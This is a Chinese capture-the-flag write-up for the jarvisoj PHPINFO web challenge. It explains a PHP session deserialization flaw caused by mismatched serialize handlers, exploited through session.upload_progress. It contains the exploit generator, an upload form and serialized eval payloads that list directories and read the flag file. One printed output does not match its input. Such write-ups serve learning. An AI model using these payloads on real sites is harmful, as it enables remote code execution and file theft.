jarvisoj PHPINFO
题目地址:http://web.jarvisoj.com:32784
题目给出了源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
PHPINFO
首先我们可以看到,当用GET方法传一个名字为phpinfo
的参数时,就会执行新建一个类对象,这个类对象正常情况下会输出PHPINFO的信息。
这时候就需要从这里面找能够利用的信息,找到session的部分。
这里有几个能够利用的地方。
session.serialize_handler
我们可以看到,INI中默认的处理器是php_serialize,而程序使用的却是php处理器。这样就会造成session的反序列化漏洞。
形成的原理就是二者对session进行序列化的方式不同,在用php_serialize
存储的字符可以引入 | , 再用php
格式取出$_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
这里我们希望能够控制OowoO类中的$mdzz
属性,从而让后面的eval()
函数执行我们想要的内容。
EXP:
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
$a=new OowoO();
$a->mdzz="var_dump(scandir('./'));"; //这里是我们希望执行的内容
echo serialize($a);
输出:
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('/'));";}
session.upload_prgress
找到了能够session反序列化漏洞,但是代码中没有能够让我们直接设置session的地方,这时候需要利用session.upload_prgress
。
当
session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时POST一个与INI中设置的
session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。
也就是说,我们通过构造一个上传文件的表单,将其中一个参数的名字设置为session.upload_progress.name
的值(这个值能在phpinfo看到),PHP检测到这种POST请求的时候就会往$_SESSION
里面填入这个参数的值,从而能够用来设置session。
<html>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</html>
本题的session.upload_progress.name
的值为PHP_SESSION_UPLOAD_PROGRESS
,这样就把123写入了session里面。
二者结合
知道了session反序列化漏洞的利用方法,而且又有能够写入session的方式,就可以进行完整的利用了。
利用上面的文件上传表单,把参数PHP_SESSION_UPLOAD_PROGRESS
的值设置为序列化后的payload即可
- 查看
./
目录下的文件,没找到flag文件:
123|O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
- 再看PHPINFO,原来是网站的目录被改掉了,是
/opt/lampp/htdocs
123|O:5:"OowoO":1:{s:4:"mdzz";s:39:"var_dump(scandir('/opt/lampp/htdocs'));";}
这里发现了flag文件的名字为Here_1s_7he_fl4g_buT_You_Cannot_see.php
- 最后利用
file_get_contents()
获取flag的内容
123|O:5:"OowoO":1:{S:4:"mdzz";s:89:"var_dump(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}